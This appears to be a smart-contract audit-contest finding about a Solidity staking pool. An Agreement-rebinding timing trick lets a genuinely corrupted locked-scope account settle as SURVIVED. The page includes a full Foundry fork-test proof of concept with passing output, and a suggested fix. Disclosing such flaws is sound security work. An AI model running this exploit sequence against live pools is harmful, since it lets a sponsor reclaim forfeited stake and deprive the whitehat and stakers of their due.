FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Agreement rebinding lets a real locked-scope corruption settle as SURVIVED

Author Revealed upon completion

Root + Impact

Description

Once a pool observes its Agreement outside pre-attack staging, scopeLocked is intended to make the pool-local account list the binding coverage commitment. docs/DESIGN.md §8 explicitly states that after the sponsor narrows an Agreement, "the pool's own commitment to stakers remains the binding source of truth"; protocol-readme.md likewise states that narrowing scope does not alter what the pool covers. Consequently, a real corruption involving an account that remains in the locked pool scope must remain classifiable as CORRUPTED, so the pool can pay the named whitehat instead of returning the funds to stakers.

ConfidencePool stores the locked account list separately from the Agreement address, but every outcome gate reads only the Agreement address fixed during initialization. The canonical upstream contracts allow an Agreement owner to remove an account after its commitment period, which clears the account's registry binding, and then register the account under another Agreement. The pool retains the removed account in its locked scope, but it never follows that account's current Agreement binding.

The sponsor can therefore move the insured account to a replacement Agreement, put both Agreements through their normal DAO-approved lifecycle, and report a genuine corruption on the replacement Agreement immediately before the old Agreement completes promotion. The pool moderator cannot flag CORRUPTED because the old Agreement is only PROMOTION_REQUESTED; one second later the old Agreement becomes terminal PRODUCTION, after which even the registry moderator's instantCorrupt(oldAgreement) call reverts. At pool expiry, claimExpired() reads that stale PRODUCTION state and irreversibly resolves the pool as SURVIVED despite the locked-scope account having been corrupted during the covered risk period.

// src/ConfidencePool.sol
// @> The Agreement identity and pool-local coverage identity are stored independently.
address public agreement;
address[] internal _scopeAccounts;
mapping(address account => bool inScope) public override isAccountInScope;
bool public override scopeLocked;
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
// ...
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
// ...
// @> A moderator cannot report corruption of a still-locked account unless the
// initialization-time Agreement itself is CORRUPTED.
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
}
function claimExpired() external nonReentrant {
// ...
// @> Expiry resolution repeats the stale Agreement-only lookup.
IAttackRegistry.ContractState state = _observePoolState();
// ...
// @> The old Agreement's PRODUCTION state overrides the replacement Agreement's
// real CORRUPTED state and mechanically settles the pool as SURVIVED.
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
}
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
// @> No current binding is resolved for any account in _scopeAccounts.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

Risk

Likelihood:

  • Medium. The canonical flow becomes reachable after the original Agreement's commitment period: the sponsor adds a companion account, removes the insured account, registers it under a replacement Agreement, and receives the registry DAO's normal approval for attack mode. The fork PoC executes every transition against deployed BattleChain testnet contracts without direct state writes.

  • Exploitation requires the sponsor, which is also the canonical Agreement owner and attack moderator, to schedule the replacement Agreement's corruption in the final pre-production block of the old Agreement's three-day promotion delay. The sponsor controls both promotion and corruption reporting and has a direct incentive to recover its otherwise-forfeited stake, but the narrow timing and DAO-approval prerequisites keep likelihood below High.

Impact:

  • High. A genuine corruption of a locked-scope account is irreversibly misclassified as SURVIVED, defeating the pool's core slashing and whitehat-bounty mechanism for the entire pool balance. Pool size is not capped by this logic.

  • In the PoC, the intended CORRUPTED settlement pays the whitehat all 200 tokens. The vulnerable path instead pays the sponsor 133.333333333333333333 tokens, including recovery of its 100-token principal and 33.333333333333333333 bonus, pays the other staker 66.666666666666666666 tokens, and pays the whitehat zero.

Proof of Concept

Add the following test as test/fork/CodexGpt5V5_20260712_SubmissionAgreementRebinding.fork.t.sol. It pins the public BattleChain testnet at block 16,000, uses a deployed active Agreement and its real owner/moderator roles, and deploys only the in-scope pool plus a mock stake token locally.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
interface ISubmissionAgreementChainView {
function getChainAccounts(string calldata caip2ChainId) external view returns (AgreementAccount[] memory);
}
contract CodexGpt5V5_20260712_SubmissionAgreementRebindingForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant OLD_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant INSURED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant BATTLECHAIN_CAIP2 = "eip155:627";
address internal companion = makeAddr("submission-companion");
address internal honestStaker = makeAddr("submission-honest-staker");
address internal bonusContributor = makeAddr("submission-bonus-contributor");
address internal poolModerator = makeAddr("submission-pool-moderator");
address internal whitehat = makeAddr("submission-whitehat");
address internal recovery = makeAddr("submission-recovery");
IAttackRegistry internal attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
IAgreement internal oldAgreement = IAgreement(OLD_AGREEMENT);
MockERC20 internal token;
ConfidencePool internal pool;
uint256 internal expiry;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
assertEq(oldAgreement.owner(), SPONSOR, "fixture owner changed");
assertEq(attackRegistry.getAttackModerator(OLD_AGREEMENT), SPONSOR, "fixture moderator changed");
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"fixture is no longer active"
);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(implementation), poolModerator)
)
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = INSURED_ACCOUNT;
expiry = oldAgreement.getCantChangeUntil() + 30 days;
vm.prank(SPONSOR);
pool = ConfidencePool(factory.createPool(OLD_AGREEMENT, address(token), expiry, 1, recovery, scope));
_stake(SPONSOR, 100e18);
_stake(honestStaker, 50e18);
_contributeBonus(50e18);
}
function testLockedScopeCorruptionSettlesAsSurvivedAfterAgreementRebinding() external {
AgreementAccount[] memory companionAccount = new AgreementAccount[](1);
companionAccount[0] =
AgreementAccount({accountAddress: vm.toString(companion), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
oldAgreement.addAccounts(BATTLECHAIN_CAIP2, companionAccount);
AgreementAccount[] memory stored =
ISubmissionAgreementChainView(OLD_AGREEMENT).getChainAccounts(BATTLECHAIN_CAIP2);
string memory insuredAccountString;
for (uint256 i; i < stored.length; ++i) {
if (keccak256(bytes(stored[i].accountAddress)) == keccak256(bytes(vm.toString(INSURED_ACCOUNT)))) {
insuredAccountString = stored[i].accountAddress;
break;
}
}
assertTrue(bytes(insuredAccountString).length != 0, "fixture account not found");
vm.warp(oldAgreement.getCantChangeUntil());
string[] memory remove = new string[](1);
remove[0] = insuredAccountString;
vm.prank(SPONSOR);
oldAgreement.removeAccounts(BATTLECHAIN_CAIP2, remove);
assertTrue(pool.scopeLocked(), "pool scope must remain locked");
assertTrue(pool.isAccountInScope(INSURED_ACCOUNT), "pool must retain the insured account");
assertFalse(oldAgreement.isContractInScope(INSURED_ACCOUNT), "old agreement removed the account");
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), address(0), "binding was not cleared");
address newAgreement = _createReplacementAgreement(insuredAccountString);
vm.prank(SPONSOR);
IAgreement(newAgreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
attackRegistry.requestUnderAttack(newAgreement);
vm.prank(REGISTRY_MODERATOR);
attackRegistry.approveAttack(newAgreement);
vm.prank(SPONSOR);
attackRegistry.promote(OLD_AGREEMENT);
uint256 oldAgreementProductionAt = block.timestamp + 3 days;
// The locked account is genuinely corrupted while the old Agreement remains attackable.
vm.warp(oldAgreementProductionAt - 1);
vm.prank(SPONSOR);
attackRegistry.markCorrupted(newAgreement);
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), newAgreement);
assertEq(
uint256(attackRegistry.getAgreementState(newAgreement)), uint256(IAttackRegistry.ContractState.CORRUPTED)
);
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.PROMOTION_REQUESTED)
);
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
// One second later the stale Agreement becomes terminal, removing even DAO recovery.
vm.warp(oldAgreementProductionAt);
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.PRODUCTION)
);
vm.prank(REGISTRY_MODERATOR);
vm.expectRevert();
attackRegistry.instantCorrupt(OLD_AGREEMENT);
vm.warp(expiry);
vm.prank(SPONSOR);
pool.claimExpired();
vm.prank(honestStaker);
pool.claimSurvived();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333, "sponsor recovers stake plus bonus");
assertEq(token.balanceOf(honestStaker), 66_666666666666666666, "staker recovers stake plus bonus");
assertEq(token.balanceOf(whitehat), 0, "whitehat receives no pool bounty");
assertEq(token.balanceOf(address(pool)), 1, "only division dust remains");
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
emit log_named_uint("sponsor payout", token.balanceOf(SPONSOR));
emit log_named_uint("honest staker payout", token.balanceOf(honestStaker));
emit log_named_uint("whitehat pool bounty", token.balanceOf(whitehat));
}
function _createReplacementAgreement(string memory insuredAccountString) internal returns (address agreement) {
AgreementDetails memory details = oldAgreement.getDetails();
details.protocolName = "Submission scope identity rebinding fixture";
details.agreementURI = "ipfs://submission-scope-identity-rebinding";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = BATTLECHAIN_CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](1);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: insuredAccountString, childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
agreement = IAgreementFactory(AGREEMENT_FACTORY)
.create(details, SPONSOR, keccak256("codex-gpt5-v5-submission-agreement-rebinding"));
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(uint256 amount) internal {
token.mint(bonusContributor, amount);
vm.startPrank(bonusContributor);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Run it with the RPC documented by the project:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test \
--match-path test/fork/CodexGpt5V5_20260712_SubmissionAgreementRebinding.fork.t.sol -vv

Observed output:

Ran 1 test for CodexGpt5V5_20260712_SubmissionAgreementRebindingForkTest
[PASS] testLockedScopeCorruptionSettlesAsSurvivedAfterAgreementRebinding()
Logs:
sponsor payout: 133333333333333333333
honest staker payout: 66666666666666666666
whitehat pool bounty: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Outcome authorization must follow the current registry bindings of the accounts in the locked pool scope, rather than treating the initialization-time Agreement as the only possible source of corruption. The moderator may use that signal to make the existing off-chain in-scope judgement. Permissionless expiry resolution should defer instead of auto-resolving SURVIVED while any current Agreement bound to a locked-scope account is CORRUPTED.

One possible implementation is:

+ function _hasCorruptedScopedBinding(IAttackRegistry registry) private view returns (bool) {
+ for (uint256 i; i < _scopeAccounts.length; ++i) {
+ address currentAgreement = registry.getAgreementForContract(_scopeAccounts[i]);
+ if (
+ currentAgreement != address(0)
+ && registry.getAgreementState(currentAgreement) == IAttackRegistry.ContractState.CORRUPTED
+ ) return true;
+ }
+ return false;
+ }
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
IAttackRegistry.ContractState state = _observePoolState();
+ IAttackRegistry registry = IAttackRegistry(safeHarborRegistry.getAttackRegistry());
+ bool scopedBindingCorrupted = _hasCorruptedScopedBinding(registry);
// ...
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
- if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
+ if (state != IAttackRegistry.ContractState.CORRUPTED && !scopedBindingCorrupted) {
+ revert InvalidOutcome();
+ }
}
}
function claimExpired() external nonReentrant {
// ...
IAttackRegistry.ContractState state = _observePoolState();
+ IAttackRegistry registry = IAttackRegistry(safeHarborRegistry.getAttackRegistry());
+ bool scopedBindingCorrupted = _hasCorruptedScopedBinding(registry);
// Reuse the existing moderator-grace / bad-faith CORRUPTED branch.
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (
+ (state == IAttackRegistry.ContractState.CORRUPTED || scopedBindingCorrupted)
+ && riskWindowStart != 0
+ ) {
// existing CORRUPTED resolution logic
}
// ...
}

Add a regression test covering locked scope -> Agreement removal -> replacement binding -> replacement CORRUPTED -> old Agreement PRODUCTION -> expiry resolution. A stronger upstream defense is to prevent removal or rebinding of an account while a live pool still commits to it, but the in-scope pool must remain safe even when the documented Agreement-narrowing flow occurs.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!